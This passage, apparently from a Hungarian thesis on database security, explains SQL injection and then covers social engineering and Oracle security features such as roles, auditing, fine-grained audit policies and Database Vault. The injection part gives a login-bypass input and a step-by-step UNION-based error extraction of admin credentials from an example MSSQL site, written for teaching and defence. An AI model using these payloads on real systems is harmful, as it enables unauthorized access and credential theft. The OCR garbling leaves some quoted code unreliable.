kontrollok egyik legelterjedtebb tagja. Kiemelt jelentdséggel bir, ezért nagyon fontos
foglalkozni vele. Manapsag a legtobb web alkalmazéas valamilyen adatbazis kezeld rendszert
hasznal, az alkalmazashoz sziikséges adatok tarolasara. A web szerver és a mogotte dolgozd
adatbazis szerver kozosen alkotjak a web alkalmazasok infrastruktarajat. A web alkalmazéasok
altaldban adatbazisrendszerben taroljak az iizleti logika adatait, a felhasznalé neveket és a
hozzajuk tartozo jelszavakat és tovabba az aktualis munkafolyamatok adatait is. A problémak
ott jonnek eld, amikor a felhasznalé bemenetet illeszt az alkalmazas egy SQL lekérdezésébe.
A gondot az okozza, hogy a web alkalmazéist az adatbéazis kezelorendszer lekérdezés
értelmezdje biztonsagos forrasnak hiszi, igy megtesz barmit, amire utasitast kap. Gyakori eset,
hogy a web fejlesztok a nem kozvetleniil a felhasznalotol érkezé bemenetek ellendrzésérol
megfeledkeznek. A kovetkezokben bemutatom, hogy a ,,SQL injection” hasznalataval
konkrétan hol és hogyan lehet egy biztonsagi szempontbdl rosszul megirt web alkalmazast
megtadmadni. Hangstlyozndm azt, attél hogy egy web alkalmazas miikodik, elvégzi, amire
szolgal, nem jelenti azt, hogy biztonsagos is és megfelelden mitkodik.

Elsoként a bejelentkezési feliiletek megkeriilésére mutatok egy példat. Egy egyszer

crer

SELECT * FROM felhasznalok

WHERE fnev = "’$_POST[’felhaszn’]’” AND jelszo = ’$_POST[’jelsz’]’’;

A ,,$ POST[felhaszn’]” és a ,,$ POST[’jelsz’]”” PHP valtozok, amik a bemeneti mezékbdl
kapjak az értékeket. A lekérdezés kiaddsa utan megtorténik a feltétel vizsgalat, ha nem nulla,
¢s a felhasznald név és jelsz6 megvan, akkor a felhaszndld érvényesitése sikeres. Ha a
felhasznald név mezdjébe azt irjuk, hogy (admin’’;--) a jelsz6 mezdjébe pedig azt, hogy
(jelszo), akkor a lekérdezés igy fog kinézni:

SELECT * FROM felhasznalok

WHERE fnev="admin’;-- AND jelszo = ’jelszo’;

Ez a lekérdezés az ,,admin” szd utdni pontosvesszdig lefut, az utdna levd sort, pedig
megjegyzésként kezeli a lekérdezés értelmezd. Az értelmezd nulldnal kiillonbozo értékkel tér

vissza igy a felhasznal6 sikeresen belépett annak ellenére, hogy rossz jelszot adott meg.
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A masik példa arra szolgal, hogy azonositani tudjam, hogy milyen adatbazis kezeld
rendszer fut az adott web alkalmazas mogott. Ez azért fontos mert, az egyes adatbazis kezeld
rendszerek ugyan ugyanazt az SQL szabvanyt implementaljadk, azonban néhany ismert
kezelése lathato:

Oracle: ’al’ || 'ma’

MSSQL: ’al’+’ma’

MySQL:’al’ 'ma’

Az egyes termék hibat dob, ha a masik kettd dialektusaval irt lekérdezést kap.

A harmadik, egyben utols6 példa azt kivanja bemutatni, hogy hogyan lehet tetszéleges
adatot kinyerni egy adatbazisbol. Ez a legegyszerlibben az UNION operator segitségével
torténhet. A modszer azon alapszik, hogy két SQL lekérdezés egyesitése csak akkor
lehetséges, ha pontosan ugyanannyi oszlopbd6l allnak, amik egymassal kompatibilis tipustak.
Példéaul ,,integer” tipusu oszlop nem illeszthetd ,,varchar” tipussal. Ebben az esetben egy
rosszul bedllitott web alkalmazas, vagy adatbézis kezeld rendszer hibaval tér vissza, mely
hibabdl a gonosz tamadod sok, szdmara hasznos informdéciot tudhat meg. A példa, amin
keresztiil bemutatom ezt a tdmadasi technikat az aldbbi linken talalhato:

http://www.securiteam.com/securityreviews/SDPON1P76E.html [lrodalomjegyzék 6.]. Az

alabbi cimen talalhato MSSQL adatbazis szerverbdl probal meg informaciét kinyerni:

http://duck/index.asp?id=10. Els6ként az UNION operator segitségével a 10 ,integer-hez”

megprobal egy ,,string-et” az adatbazisbol hozzakapcsolni:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE NAME FROM
INFORMATION_SCHEMA.TABLES--

Az ,,INFORMATION SCHEMA.TABLES” egy rendszertdbla, amiben megtalalhat6 az
Osszes informdcié az adatbdzisban tarolt tablakrol. Ennek a lekérdezésnek az elsd tabla
nevével kellene visszatérnie, ami az adatbazisban talalhatdo. Amikor az MSSQL szerver
megprobal egy ,.string-et” ,integer-ré” konvertdlni hibat fog generalni, mivel ez nem
lehetséges. Ebben az esetben a kdvetkez6 hibaiizenetet kapjuk:

Microsoft OLE DB Provider for ODBC Drivers error '‘80040e07' [Microsoft][ODBC SQL
Server Driver][SQL Server]Syntax error converting the nvarchar value 'tablel’' to a column

of data type int. /index.asp, line 5
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http://www.securiteam.com/securityreviews/5DP0N1P76E.html
http://duck/index.asp?id=10

Ebbdl a hibatizenetbdl kideriil, hogy mi volt annak a tdbldnak a neve, amit megprobalt
integerré alakitani és ez nem mas mit a ,,tablel”. Ahhoz hogy megtudjuk a kovetkezo tabla
nevét a kovetkezd utasitast adjuk ki:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE NAME FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (‘tablel’)--
Lehetdségiink van tovabba kulcsszavak alapjan keresni:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE "%25login%?25'--

Ekkor a kovetkez6 hasznos hibaiizenetet kapjuk:

Microsoft OLE DB Provider for ODBC Drivers error '‘80040e07' [Microsoft][ODBC SQL
Server Driver][SQL Server]Syntax error converting the nvarchar value ‘admin_login' to a
column of data type int. /index.asp, line 5

Ebbdl a hibaiizenetbdl megtudhatjuk, hogy van egy olyan tabla, aminek az a neve, hogy
»admin_login”, amiben valoszinlileg az adminisztrator bejelentkezési informacioi vannak. a
kovetkezd utasitassal a mar ismert tabla oszlopainak nevét tudjuk meghatérozni:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login'--

Ekkor a kovetkezd hibaiizenetet kapjuk:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07" [Microsoft][ODBC SQL
Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_id' to a column
of data type int. /index.asp, line 5

Az elézéekhez hasonloan itt is meghatarozhatjuk az 6sszes oszlop nevét szép sorban haladva
a ,,NOT IN()” operator segitségével:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login' WHERE
COLUMN_NAME NOT IN ('login_id")--

A hibaiizenet a kdvetkezo:

Microsoft OLE DB Provider for ODBC Drivers error '‘80040e07' [Microsoft][ODBC SQL
Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_name' to a

column of data type int. /index.asp, line 5
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Ezt addig folytathatjuk, mig az 6sszes oszlop nevét megtudjuk. A kovetkezo feladat az, hogy
a mez0 értékeket deritsiik ki a tablanév és az oszlopnév ismeretében, ehhez a kovetkezd
utasitast adjuk ki:

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

A hibaiizenet a kovetkezo:

Microsoft OLE DB Provider for ODBC Drivers error '‘80040e07' [Microsoft][ODBC SQL
Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo’ to a column of
data type int. /index.asp, line 5

Ebbdl kidertiil, hogy van egy olyan adminisztrator, akinek ,,neo” a felhasznaldé neve. Ahhoz,
hogy megtudjuk a jelszavat is, a kovetkezot kell tenniink:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where
login_name="neo’--

A hibaiizenet a kovetkezo:

Microsoft OLE DB Provider for ODBC Drivers error '‘80040e07' [Microsoft][ODBC SQL
Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column
of data type int. /index.asp, line 5

Ebbdl lehet latni, hogy a ,,neo” nevii felhasznalo jelszava: ,,m4trix”.

A bemutatott példakkal azt szerettem volna szemléltetni, hogy ha ismerjiik az egyes
rendszereket és azok rendszertablait, és rendelkeziink némi SQL nyelvismerettel, konnyedén
hozza lehet férni az adott adatbdzisban tarolt adatokhoz. Nagyon fontos tehat, hogy a web
alkalmazas fejlesztésekor tligyeljiink a bemenetek figyelésére tovabba naprakészen tartsuk az
adatbazis kezeld rendszeriinket. Az egyes adatbazis kezeld rendszer termékekhez gyakran
jelennek meg biztonsagi frissitések, amik azt hivatottak kikiisz6bolni, hogy példaul egy rossz

bemenet hatdsara a timado ne tudjon meg informaciokat a hibaiizenetbol.

3.4.2. Az emberi tényezo
Ebben a részben arra probalok meg ravilagitani, hogy hidba a technika a biztonsagban,
ha azt egyszerlien nem hasznaljuk, vagy ha tudatlan johiszemi emberek hasznaljak a

rendszert. Az atver6-miivészek két fajtaja 1étezik. Az embereket atverd és pénziiket kicsalod

crer

megtévesztést, befolyasolast és meggydzést beveté emberek a ,,social engineer-ek”. A cégek
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jelszavaihoz és mas bizalmas informacidhoz gy jutnak hozza, hogy masvalakinek adjak ki
magukat és egyszeriien rakérdeznek ezekre. Az abszolut biztonsdg érzésére valo torekvés
természetes dolog, sok embert arra késztet, hogy megelégedjen a biztonsdg egy hamis
értelmezésével. Példaul, ha arra felelds és gondoskodo haztulajdonosra gondolunk, akinek egy
betorésbiztosnak mondott reteszzar van a bejarati ajtora szerelve, ezzel védi feleségét,
gyermekeit és otthonat. Kényelmesen érzi magat, mivel sokkal nagyobb biztonsadgban tudja
csaladjat. De mi a helyzet az ablakot betdrd vagy a gardzskapu kodjat megbiivold betdrdovel?
Mi torténik, ha felszerel egy megbizhaté riasztorendszert? A helyzete jobb, de a biztonsag
nem tokéletes. Draga zarakkal, vagy nélkiile a tulajdonos sebezhetd marad, mert a ,,biztonsag
leggyengébb lancszeme az emberi tényezd” [Irodalomjegyzék 3.]. Uzleti javaink biztonsagara
a legnagyobb fenyegetést a ,,social engineer” jelenti, az a gatldstalan varazslo, akinek a
balkezét nézziik és a jobb kezével ellopja titkainkat. Ez a személy gyakran olyan baratsagos,
olyan jol beszél és olyan szolgéalatkész, hogy halat érziink, amiért megismerhettiik. A betorési
teszteket végzO tarsasagok jelentése szerint a céges szamitogépes rendszerbe ,,social
engineering” modszerrel végzett behatolasi kisérletek majdnem széz szdzalékig sikeresek. A
biztonsagi technologidk azaltal, hogy eltavolitjdk az embereket a dontéshozéd folyamatokbol
megnehezithetik az ilyen tdimadasokat. Mindazonaltal a ,,social engineering” fenyegetésekkel
szembeni egyetlen igazan hatékony védekezés biztonsdgi tudatossaggal kombinalt, az
alkalmazotti viselkedés alapszabalyait meghataroz6 biztonsagi politika és az alkalmazottak
megfeleld oktatasa és képzése. Egyes szakértok azt javasoljak, hogy a cég teljes biztonsagi
koltségvetésének 40 szazalékat tudatossagi képzésre kell forditani. Elsé 1épésben a cég
minden alkalmazottjaban tudatositani kell, hogy Iléteznek géatlastalan emberek, akik a
megtévesztés segitésével pszicholodgiailag manipulalhatjdk 6ket. Az alkalmazottaknak meg
kell tanitani, hogy az informaciot védeni kell, és hogy hogyan lehet védeni. Ha az emberek
egyszer megértik, hogy milyen modon lehet dket manipuldlni, nagyobb eséllyel fogjak
észrevenni az elkezd6dd tamadast. A biztonsdgtudatossag része az is, hogy az Osszes

alkalmazottal megismertessiik a céges biztonsagi politikat és eljarasokat.
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4. Az Oracle biztonsagi megoldasai

4.1. Standard jogosultsagi rendszer

Standard jogosultsdgi rendszer, altalaban minden relacios adatbazis-kezeldben
megvan. A jogosultsdgi rendszert két nagy részre lehet osztani. Els6ként a rendszer-
jogosultsagok, amelyek valamilyen rendszerszinti miiveletet engedélyeznek. Elég finoman be
lehet allitani ezeket a dolgokat, tobb mint kétszdz darab rendszerjogosultsag van az Oracle-
ben. Kelld részletességgel be lehet allitani, hogy rendszerszinten ki és mit hajthat végre és mit
tehet egy relacidos adatbazis kezeldben. A jogosultsagok masik csoportja az objektum
jogosultsagok, ezek mindig valamilyen objektumhoz koéthetdek egészen konkrétan valamilyen
tablahoz, vagy objektumhoz kothetd muveletet végeznek. ,,Database control”. Az adatbazison
beliil felhasznalok vannak, minden egyes objektumnak van egy tulajdonosa, aki azt 1étrehozta
¢s alapesetben a tulajdonos barmit megtehet az objektumaival, viszont minden mas
felhasznalo csak akkor dolgozhat az objektumon, ha engedélyt kapott a tulajdonostol.

A szerepkorok tulajdonképpen ugy foghatok fel, mint az operacids rendszerben a
csoportok (group). Kiilonb6zo szerepkoroket hozhatunk létre, célszeri talan az emberek
cégen beliil betdltott pozicidja, vagy munkakore szerint 1étrehozni a szerepkoroket és a
jogosultsagokat célszerii nem kozvetleniil osztani a felhasznaloknak, mert egy tulzottan kusza,
atlathatatlan, komplex jogosultsagi rendszer jonne létre. Hanem érdemes felallitani kiilonb6zo
szerepkoroket, amelyek szamunkra fontosak €s az adott szerepkor elvégzéséhez sziikséges
jogosultsagokat az adott szerepkdrnek osztjuk ki és aztan az adott felhasznéaldinkat pedig
hozzéarendeljiik ahhoz a szerepkorhoz, ami a munkdjahoz sziikséges. A szerepkorok lényege,
hogy egyszerisitik, atlathatova teszik a jogosultsagi adminisztraciot, és dinamizmust vihetnek
a jogosultsagi rendszerbe. Ugyanis azt kell tudni, hogy ezek a szerepkorok ki és be,
kapcsolhatoak. Csak akkor lehet élni azokkal a jogosultsagokkal, amiket a szerepkoron at
kapunk, ha az a szerepkor be van kapcsolva. A szerepkor ki- és be, kapcsolasa jelszoval
védhetd, tovabba operacids-rendszer hitelesitéshez kothets. Egy Oracle rendszerben vannak
elére beépitett szerepkordk, mint pl. az adatbazis adminisztrator (DBA) szerepkor. Aki a
rendszergazda és igy tudunk ujabb és jabb rendszergazdakat l1étrehozni. Léteznek tovabba
biztonsagos szerepkorok (Secure roles), ezek olyan specidlis szerepkorok, amelyek nincsenek
statikusan felhasznalokhoz hozzarendelve, dinamikusan az alkalmazasbol valamilyen miivelet
eldtt meg lehet hivni egy olyan eljarast, amiben az alkalmazas kod dont arr6l, hogy az adott

felhasznalonak a szerepkort bekapcsolja, vagy sem. Ha bekapcsolja, élhet azokkal a
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jogosultsdgokkal ¢és elvégezheti azokat a miveleteket, amelyekhez a jogosultsagot az adott
szerepkoron at kapja, ha pedig az alkalmazas ugy dont, hogy nem kapcsolja be az adott
felhasznalonak a szerepkdrt, akkor 6 nem végezheti el azokat a miiveleteket. Ez a biztonsagos
szerepkor olyan dinamizmusra ad lehetdséget, ahol fliggévé tehetem példaul az id6tdl, hogy
bizonyos miiveleteket mikor lehet végrehajtani, tovabba fliggdvé tehetem attol, hogy milyen
alkalmazasbol van bejelentkezve a felhasznald (PL/SQL, iSQL). Tehat ez egy programozhato
nagyon rugalmas, dinamikus dolog.

Standard jogosultsagi funkciokat az Oracle-ben a profilok segitségével tudunk
megvalositani. A jelszokezelés nagyon fontos terlilete az adatbazis biztonsagnak és az
informatikai biztonsagnak is. A profilok segitségével a kovetkezoket lehet definidlni. A
jelszavaknak torténete lehet, ez azt jelenti, hogy bizonyos jelsz6-valtoztatassal korabbi jelszot
engediink meg hasznalni, ami azt jelenti, hogy példaul harminc nappal kordbbi jelszot lehet
csak Ujra felhasznalni. Lehetdséglink van a felhasznalok automatikus zarolasara valahany
sikertelen belépési probalkozéas utan. A jelszavaknak lejarata lehet és élettartama, ami azt
jelenti, hogy példaul 30 napig lehet ugyanazt a jelszot hasznalni, azutdn meg kell valtoztatni.
Jelszo-komplexitas ellendrzd fiiggvényt lehet hozzarendelni, irni kiilonboz6 felhasznaloi
profilokhoz. Az Oracle ad egy standard jelszo-komplexitast ellenérzd fiiggvényt, aminek a
neve: ,,Werified function”. Ez a kdvetkezd dolgokat definidlja, eldszor is minimum négy
karakterbdl kell allnia egy jelszonak, méasodszor nem lehet azonos a felhasznal6i névvel,
harmadszor kell, hogy legyen benne legalabb egy specidlis karakter, vagy numerikus karakter
¢s legalabb harom betliben kiilonboznie kell az el6z6 jelszotol. Ezt a fliggvényt modositva

hozhatunk Iétre sajat tetszélegesen komplex jelszo-komplexitas ellenérzo fiiggvényt.

4.2. Gyanus adatbazis-miiveletek megfigyelése

Lehetnek olyan miiveletek, amelyeket teljes egészében nem tilthatok meg a
felhasznaloknak, tehat nem tehetem meg azt, hogy hozzaférés korlatozassal egyszeriien
tiltom, hiszen egy ilyen informatikai rendszert azért hozunk Iétre, hogy aztan hasznaljuk is.
Adatbazis biztonsag szempontjabol, azaz abszolut biztonsagos rendszer, ami egy kikapcsolt
szamitogép egy pancélszekrénybe zarva. De ez nyilvanvaldéan nem fenntarthatd. A probléma
tehat az, hogy amint egy informatikai rendszert hasznalni is szeretnénk, hozzaférést

biztositunk felhasznaloknak, abban a pillanatban azonnal sebezhetéségek és problémak
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jelennek meg és van sok olyan funkcio, amelynél tulajdonképpen az egyetlen dolog, ami véd
az a megfélemlités. Példaul egy adatbazis adminisztratornak, vagy egy adatbazis
rendszergazdanak gyakorlatilag mindenhez joga van, barmit megtehet, barmilyen adatot lathat
¢s gyakorlatilag az egyetlen dolog, ami téle megvéd az, hogy 6 egy gerinces, becsiiletes
ember, a masik dolog az, hogy tudja, ha ¢ valamit manipulal az adatokon, az kideriil ¢és ezt
rajta szdmon kérik. Ezért, hogy a moddositdsok ne maradjanak észrevétleniil, az adatbazis
hozzaférést ne lehessen eltiintetni, kiilonb6zd auditalasi opcidkat hoztak 1étre.

Ezekbdl az auditalasi opciokbdl az Oracle-ben haromféle is 1étezik. Van az ugynevezett
»dtandard Database Audit” torténelmileg ez 1étezik 1égrégebb ota és kiillonbozé adatbazis
tevékenységekre lehet ezt bekapcsolni. A probléma az volt vele, hogy elég limitalt, azaz
adatmennyiség, azaz informacidmennyiség, amit a megtortént eseményekrol rogziteni tud. Ezt
ki kellett bdviteni és igy jelentek meg az jabb auditalasi opcidk a ,,Value Based Audit”. Ez
tulajdonképpen érték alapt auditalast jelent, tesz lehet6vé, amit nagyon gyakran alkalmazasi
koddal kell majd megvalositani. A harmadik auditalasi opcié az Oracle-ben a ,,Fine-graint
Audit”. Ez azt a dolgot valdsitja meg, amire az el6z6 két opcié nem volt j6, mégpedig a
bizonyos feltételeknek megfelelé adatokhoz valdé hozzaférésnek a naplozasat. Azt tudja
naplozni, hogy ki néz olyan kritikus adatokat, melyeket nem szabadna neki.

A Standard Auditalasi opcioval az objektumhoz valé hozzéaférést, vagy valamilyen
jogosultsaggal vald visszaélést vagy probalkozast, mint eseményt lehet figyelni. A
legnagyobb probléma ezzel kapcsolatban az volt, hogy nagyon fix, azaz adatmennyiség, azaz
informacio, amit egy-egy eseményrdl kapunk. Durvan harom dologra korlatozédik. Elsdként a
felhasznaloi név, aki az adott eseményt elkovette, masodszor az adott esemény kodja, hogy mi
volt ez az esemény ¢és harmadszor az idd, amikor megtortént az esemény. Ez elég kevésnek
bizonyult és idével megjelentek igények arra, hogy mi lenne, ha az utasitast is lathatnank, ami
kivaltotta az auditalast. A tizes verzidban jelentek meg olyan plusz auditalasi opcidk, amivel
ilyen extra informaciok, tehat SQL utasitas naplozasra keriil, ami az auditalast kivaltotta.

Az értékalapti auditalas arra szolgal, hogy valamilyen adatmoddositast tudjunk vele
naplozni, példaul ki mddositott egy konyvelési tételt, és gy, hogy konkrétan a modositott
értéket is el lehessen kapni. Meg tudjuk mondani, hogy mi volt a régi érték, mi lett az 0j érték
¢s melyik felhasznalo csinalta ezt a modositast. Ez altalaban egy alkalmazési koddal oldhato

meg, vagy erre szolgalnak a DML utasitashoz kapcsolt iigynevezett ,.trigger-ek™. A ,trigger-
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ek” eseményekhez rendelhetd kodrészletek. Ezzel az eseményhez rendelt koddal, eljarassal
tetszOleges dolgokat lehet vizsgalni és napldzni.

A leglijabb opci6 a ,,Fine-graid Audit” arra jo, amire a standard auditalas és az értékalapti
auditalas nem volt jo, feltételtdl fiiggden, de adathozzaférést lehet vele naplozni. A probléma
az, hogy standard auditalasnal lehetett naplozni a hozzaférést, de nem lehetett feltételt szabni,
tehat altalaban ugy néz ki a dolog, hogy én nem azt akarom nézni, hogy példaul egy
folyoszamla egyenleget egy banknal ki néz, hiszen van tobb ezer iligyintézd, akiknek ez a
dolga nap-mint nap, tobb szazszor hozzaférnek ilyen adatokhoz. Azt akarom nézni, hogy
kiemelt emberek, ideértve kdzszereplok vagy drogosok adataihoz kik fértek hozza, ugyanis
jogszabaly hatarozza meg, hogy ilyen személyek adatait vagy elkiilonitve kell tarolni a
kiilonb6z6 informatikai rendszereken vagy pedig naplozni kell és meg kell tudni mondani 30-
90 napig, hogy kik azok, akik hozzafértek ezekhez az adatokhoz. A ,,Fine-graid Audit” erre
lesz jo, tehat bizonyos feltételeknek megfeleld adatokat ki nézett, ki hasznalt.

Az auditdlds eredményeként keletkezett auditalasi rekordok keletkezhetnek az
adatbazisba, vagy operacios rendszeren text fajlokba, nyilvan annak fiiggvényében, hogy
honnan konnyebb késdbb ezeket az adatokat feldolgozni. Ha az adatbazison beliil torténik az
auditalas, akkor ezek a konkrét nézetek belsd adatszotar tablakba keriilnek, amelyekbdl az
auditalasi rekordok visszanézhetéek. Nyilvan ez egy kiilon feladat lesz, hogy ezekhez az
auditalasi informaciokhoz csak az férhessen hozza, akinek valoban sziikséges. Kiilon feladat
az is, hogy a megfigyelt ember ne tudja eltiintetni az altala generalt adatokat. Az adatbazis
adminisztrator (DBA) elleni védelemre a standard auditalasi opcié nem jo, hiszen maga az
adatbazis adminisztrator latja ezeket az adatokat, sét joga van modositani és esetleg maga
utan eltiintetni ezeket az adatokat. Ezért talaltak ki az operacios rendszerbe vald auditalast. Ez
védhet az ellen, hogy egy Oracle adatbazis adminisztrator ne tudja eltlintetni maga utdn az 6
auditalasi rekordjait. Az értékalapu auditdlast mindenféleképpen alkalmazési koddal kell
megvaldsitani. Példaul egy SAP rendszerben ezt maga az alkalmazas szerver csindlja meg és
az auditélast ott lehet bekapcsolni. Az Oracle azt a lehetdséget adja, hogy DML , trigger-eket”
irhatunk, ez azt jelenti, hogy DML miiveleteknél ez a kis ,,trigger” kod lefut, és innen el lehet
kapni a moédositas elotti régi értéket, ) értéket és azt be lehet tenni egy napld tablaba
1dobélyeggel és a felhasznaloi névvel, aki a modositasokat végrehajtotta. Ezekben a tdblakban
gylilnek a moédositasok, ezeket idonként meg kell figyelni és fel kell dolgozni. A ,,Fine-

grained Auditing” elsé megjelenésekor kizardlag SELECT utasitast tudta naplozni, tehat
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valamilyen feltételnek megfeleld adatokhoz valdé hozzaférést naplozott. A tizes verzidban
kibovitettek, hogy a DML miiveletek is megfigyelhetdek legyenek vele. A standard auditalasi
bejegyezésen kiviil még egy dologra jo, hozzéa lehet rendelni egy eljarast, egy tgynevezett
esemény kezel6t, az adott auditalasi eseményhez, ami amint az auditalasi esemény megtortént
ez az eljaréas lefut és innen riasztés is kiildhet6. Kimondottan alkalmassa teszi ez az opcio a
banki kornyezetben az alvo szamlak figyelését. A kovetkezod példa egy ,,Fine-grained Audit”
hazirendet (policy) hoz létre:

dbms_fga.add policy (

object schema => 'hr',

object name => 'employees',

policy name => 'audit_emps_salary',
audit_condition = 'dept_id=10",
audit_column =>  'salary',

handler schema => 'secure’,

handler module => 'log_emps_salary',
enable => TRUE,
statement_types => 'select' );

A példaban a tizes osztalyon dolgozokat nézziik, azon beliil is a fizetést. Ahhoz hogy
engedélyezziik a hazirendet a kdvetkezd utasitast kell kiadni:

dbms_fga.enable policy (

object schema => 'hr',
object name => 'employees',
policy name => 'audit emps_salary' );

A hazirend letiltdsahoz pedig a kovetkez6 utasitast kell kiadni:

dbms_fga.disable policy (

object schema = 'hr',
object name = 'employees',
policy name = 'audit emps_salary' );

A kovetkezd példautasitas szemlélteti, hogy mikor kertl sor, naplézasra.

SELECT count(*)
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FROM hr.employees

WHERE department_id = 10 AND salary > v_salary;

A fizetést, mint eredményt nem fogjuk latni, csak megszamoljuk, hogy hany olyan ember van
a tizes osztalyon, akiknek a fizetése az altalam megadott fizetésnél nagyobb. Ebben az esetben
mégis kivaltodik az auditalasi esemény méghozza azért, mert a konkrét fizetés értéket ugyan
nem latom, de a megfeleld6 WHERE feltétel segitségével korbe lehet 16ni és igy majdnem
konkrétan meghatarozhato a fizetés. Mivel az FGA auditalasi opcio késébb késziilt, mint a
standard auditalds, ezért nem a standard auditdlasi opcid tablaiba lettek az auditdlasi
informaciok integralva, hanem kiilon auditalasi tablak lesznek. Ez elég kellemetlen dolog,
mivel kiilonb6zé helyrdl kell 6sszegylijteni a kiilonbozé auditalasi opciok auditalasi
rekordjait. Erre a problémara az Oracle-nek létezik egy kiilon terméke, amirdl a kés6bbiekben
részletesen fogok irni.

Kiilon emlitést érdemelnek a SYSDBA és a SYSOPER felhasznalok, auditalasarol és
megfigyelésérdl, ugyanis ez a ,,rendszergazda es a rendszergazdatdl ki ved meg”, ez egy
kiilon fontos €s izgalmas téma manapsdg. Azt kell mondanom, hogy alapesetben nincs ellene
védelem, ugyanis a rendszergazda az Osszes rendszerjogosultsaggal rendelkezik, tehat
korlatlan ura és barmit megtehet az adatbazison beliil. Ebbe az is beletartozik, hogy iizleti
adatokat lathat ¢s modosithat is. Az egyik megoldas lehet a rendszergazda elleni védelemben,
hogy jol meg kell fizetni, hogy ne érje meg neki visszaélni az adatokkal. Masik lehetdség az
Oracle kifejezetten a SYSDBA ¢és a SYSOPER felhasznalok auditalasara kifejlesztett egy
auditalasi opciot, amit az AUDIT SYSOPERATYON kapcsoloval lehet bekapcsolni. Ami
azt jelenti, hogy ezen felhasznalok minden tevékenységét naplozzuk. Azért, hogy ez
biztonsagos legyen eldliik, tehat, hogy ne tudjdk maguk utdn eltlintetni ezeket az auditalasi
bejegyzéseket, ezért a rendszergazda kiemelt auditildsa nem torténhet az adatbazisba,
mindenképpen az operdcios rendszeren torténik. Ahhoz, hogy eltiintesse maga utan a
nyomokat, dssze kell jatszania az operacios rendszer rendszergazdajaval, ezért nagyon fontos,
hogy ne egyazon személy legyen, mert ekkor ez az opcio feleslegessé valik. [Irodalomjegyzék
5]
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4.3. Az Oracle kiegészito opcioi

A kovetkezd opcidk nem részei a standard Oracle-nek, hanem plusz opcioként
jelennek meg. Elsdként a ,,Virtual Private Database” ez tulajdonképpen sorszintii hozzaférés
szabalyozast megval6sitdo rendszer, ami azt jelenti, hogy az alapvetd objektum jogosultsagi
rendszeren tilmutat. A probléma az, hogy az alapjogosultsdgi rendszer objektum alapti, tehat
ha van egy SELECT jogom egy tablan, akkor én ott mindent lathatok az Osszes sort és
oszlopot. Felmeriilhet egy olyan probléma, hogy példaul egy adott kereskedd csak az altala
rogzitett megrendeléseket lassa a megrendelési tablabol, vagy egy adott beszallito csak azokat
a megrendeléseket lassa, amik neki szdlnak, vagy egy menedzser csak sajat beosztottai altal
végzett megrendeléseket lassa. Ez harom kiilonboz6 szabaly lenne annak fliggvényében, hogy
éppen ki nézegeti a megrendelési adatokat ugyanabbdl a tablabol. Ez sajnos a standard
beallitasokkal nem wvalosithatdo meg. A ,Virtual Private Database” a kdvetkezoképpen
miikodik, egy-egy biztonsagi szabalyt lehet definidlni a tabldkhoz és ez tulajdonképpen egy
figgvény, mely visszaad egy feltételt, egy logikai kifejezést, amikor az adott tablabol
dolgoznak, ez a fliggvény lefut és az altala visszaadott logikai feltételt hozzdadja egy
»~AND”el az altalam irt ,,SELECT” utasitashoz, ¢és igy csak azt ldtom, ami utana megmarad.
Ezt mindenképpen programozni kell, nem ugy miikodik, hogy csak bekapcsolom és kész. Az
alkalmazas tervezésénél ki kell taldlni, hogy akarjuk-e ezt haszndlni, és ha igen ennek
megfelelden kell megirni az egyes szabaly fliggvényeket, és hozzatarsitani az iizletileg fontos
titkos adatokhoz.

A masodik opcio az ,Enterprise User Security”, ami egy centralizalt felhasznalo és
biztonsagi adminisztraciot tesz lehetdvé. Az ,,LDAP” protokollhoz hasonlit. Ez egy standard,
hierarchikus adatbazisrendszer, egy cimtar-szolgaltatds. Az Oracle adatbazis felhasznalok és
jogosultsagainak az adminisztralasa egy ilyen centralizalt cimtar-szolgaltatasban képzelhetd
el. Az eldnye a dolognak az, hogy tobb kiilonb6z0 rendszert egy kozds helyen lehet biztonsagi
szempontbol adminisztralni. A tizes verzidban az Oracle-t kozvetleniil a ,,Microsoft Active
Directory-val” lehet Osszekapcsolni, vagy az Oracle sajat fejlesztésti ,,Oracle Internet
Directory-val”. Ezt foleg nagyvallalati kornyezetben hasznaljak sok ezer felhasznald esetén.
Néhany felhasznald esetén nem érdemes a hasznélata, mert a tobb a komplikdcio, mint
amennyit nyeriink vele.

A harmadik opci6é a ,,.Database Vault”, ami az egyik legijabb opcid, ez az igazi

védelem az adatbazis adminisztrator ellen. A ,,Database Vault” egy olyan biztonsagi funkcio,
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amivel kiilonb6z6é védelmi tartomanyok hozhatok Iétre €s kiilonb6z0 adatbazis objektumok
ilyen védelmi tartomanyba zarhatdak. Ez azt jelenti, hogy a védelmi tartomanyhoz nem férhet
hozzé senki, sem az adatbdzis adminisztrator, sem a tulajdonosa, kell egy kiilon biztonsagi
adminisztrator egy ilyen esetekben, aki dont arrdl, hogy ki mihez férhet hozza.
Magyarorszagon nem tart ennyire elére ez a biztonsagi szabalyozas, de a kiilfoldi tulajdonu
cégekhez mar nagyon sok kritérium begyliriizik a kiilfoldi tulajdonos miatt. Mar most
rengeteg olyan dolgot biztositani kell, amiket csak ezen opcid segitségével lehet
megvalositani. Mint  példaul, hogy adatbazis hozzaférést korlatozni tudjam,
szerepszétvalasztas legyen az adatbazis adminisztrator €s a biztonsagi adminisztrator kozott.
A negyedik opcio az ,,Audit Vault” opcid, ami arra jo, hogy az auditalasi adatokat ne
tobb helyrdl kelljen Osszeszedni, mint mar az elézéekben emlitettem, ezeket a dolgokat
centralizélja egy komoly nagyvallalati rendszerben egy konkrét rendszerbe integralja az
